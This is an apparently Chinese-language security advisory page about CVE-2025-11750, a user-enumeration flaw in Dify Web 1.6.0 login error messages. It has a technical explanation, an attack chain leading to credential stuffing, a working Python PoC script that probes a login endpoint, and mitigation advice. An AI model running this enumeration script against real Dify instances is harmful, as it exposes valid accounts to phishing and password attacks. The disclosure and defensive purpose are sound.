IPBUF安全漏洞报告
English
CVE-2025-11750 CVSS 5.3 中危

CVE-2025-11750:Dify Web用户枚举漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-11750
漏洞类型
信息泄露/用户枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
langgenius/dify-web

相关标签

CVE-2025-11750用户枚举信息泄露认证缺陷Difydify-weblanggenius中危漏洞CVSS-5.3凭证填充

漏洞概述

CVE-2025-11750是langgenius/dify-web 1.6.0版本中存在的一个用户枚举漏洞(User Enumeration Vulnerability),属于身份认证机制设计缺陷类安全问题。该漏洞源于系统在用户登录和注册过程中,针对不存在的用户账号与存在但密码错误的账号返回了不同的错误响应信息。具体而言,当攻击者尝试使用一个不存在的用户名或邮箱进行登录或注册时,系统会返回类似"account not found"(账号未找到)的提示信息;而当用户名或邮箱确实存在但密码输入错误时,系统则会返回另一个不同的错误消息。这种差异化的错误处理方式使得攻击者能够通过分析服务器返回的错误响应来枚举系统中已注册的有效用户账号,从而为后续的定向社会工程学攻击、暴力破解攻击或凭证填充攻击(Credential Stuffing)提供基础。该漏洞由[email protected]的安全研究人员发现并报告,CVSS 3.1评分为5.3分,属于中危级别漏洞。虽然该漏洞本身不会直接导致系统被入侵或数据被窃取,但它显著降低了攻击者发动后续攻击的难度和成本,对系统用户的安全构成间接威胁。

技术细节

该漏洞的技术原理在于身份认证接口在处理用户登录和注册请求时,未对错误信息进行统一处理,导致信息泄露成为可能。从技术层面分析,当客户端向认证接口(如/login或/register端点)提交包含用户名/邮箱和密码的请求时,服务端的处理流程如下:1)服务端首先根据用户名或邮箱在数据库中查询对应记录;2)如果未找到匹配记录,直接返回"account not found"类型的错误;3)如果找到记录,则进行密码哈希比对;4)密码比对失败后返回"incorrect password"类型的错误。这两种不同的返回路径产生了可被攻击者利用的差异性响应。攻击者利用方式相对简单:攻击者可以通过编写自动化脚本,批量向认证接口发送探测请求,通过观察响应内容的差异即可区分目标账号是否存在。典型的PoC代码可以使用Python的requests库实现,通过遍历常见用户名列表或使用泄露的邮箱列表进行批量探测,并根据HTTP响应体中的关键字(如"account not found" vs "incorrect password")来判断账号的有效性。一旦获得有效账号列表,攻击者可以结合社会工程学手段(如钓鱼攻击)或自动化工具进行凭证填充攻击,使用已泄露的密码数据库尝试登录,从而获取未授权访问权限。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先确定目标Dify Web实例的登录/注册接口地址(如/console/api/login),并准备用户名或邮箱候选列表,可通过公开信息、社交媒体或泄露数据库获取。
STEP 2
步骤2:批量探测
攻击者使用自动化脚本(如上述PoC)向认证接口批量发送登录请求,使用任意密码搭配不同的用户名/邮箱进行探测。
STEP 3
步骤3:响应分析
通过分析服务器返回的错误消息差异("account not found" vs "密码错误"),攻击者区分出系统中真实存在的有效用户账号列表。
STEP 4
步骤4:后续攻击
利用枚举得到的有效账号列表,攻击者可发动定向社会工程学攻击(钓鱼)、暴力破解攻击或凭证填充攻击(使用泄露的密码库尝试登录),以获取未授权访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11750 - Dify Web User Enumeration PoC # This script demonstrates how to enumerate valid user accounts # by analyzing different error messages returned by the authentication endpoint. import requests import sys TARGET_URL = "https://target-dify-instance.com/console/api/login" USERNAME_LIST = ["admin", "test", "user1", "[email protected]"] def check_account_enumeration(target_url, username): """ Send a login request and analyze the response to determine if the account exists based on error message differences. """ payload = { "email": username, "password": "InvalidPassword123!@#" } try: response = requests.post(target_url, json=payload, timeout=10) response_data = response.json() # Analyze response message to determine account existence error_message = str(response_data).lower() if "account not found" in error_message or "user not found" in error_message or "邮箱或密码错误" in error_message: # Non-existent account indicator if "not found" in error_message and "password" not in error_message: return False, "Account does not exist" if "incorrect password" in error_message or "密码错误" in error_message or "invalid password" in error_message: # Existing account with wrong password return True, "Account EXISTS (wrong password response)" # Fallback: check status code and message content if response.status_code == 401 or response.status_code == 403: return None, f"Auth failed: {response_data}" return None, f"Unknown response: {response_data}" except Exception as e: return None, f"Request error: {str(e)}" def main(): print(f"[*] CVE-2025-11750 - Dify Web User Enumeration PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(USERNAME_LIST)} usernames...\n") valid_accounts = [] for username in USERNAME_LIST: exists, message = check_account_enumeration(TARGET_URL, username) status = "[+] EXISTS" if exists else "[-] NOT FOUND" if exists is False else "[?] UNKNOWN" print(f"{status} | {username} | {message}") if exists: valid_accounts.append(username) print(f"\n[*] Enumeration complete. Found {len(valid_accounts)} valid account(s).") for acc in valid_accounts: print(f" -> {acc}") if __name__ == "__main__": main()

影响范围

langgenius/dify-web 1.6.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)对所有认证相关的接口(登录、注册、密码重置等)统一错误响应信息,无论用户是否存在都返回相同的通用错误消息(如"用户名或密码不正确,请重试"),消除信息泄露差异;2)在登录接口添加速率限制和CAPTCHA验证,防止攻击者进行大规模自动化枚举探测;3)启用登录日志监控,对短时间内大量失败登录请求的IP地址进行告警和封禁;4)建议所有用户立即启用多因素认证(MFA),即使账号被枚举,攻击者也无法仅通过密码登录;5)对敏感操作(如修改密码、查看敏感数据)实施额外的身份验证步骤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表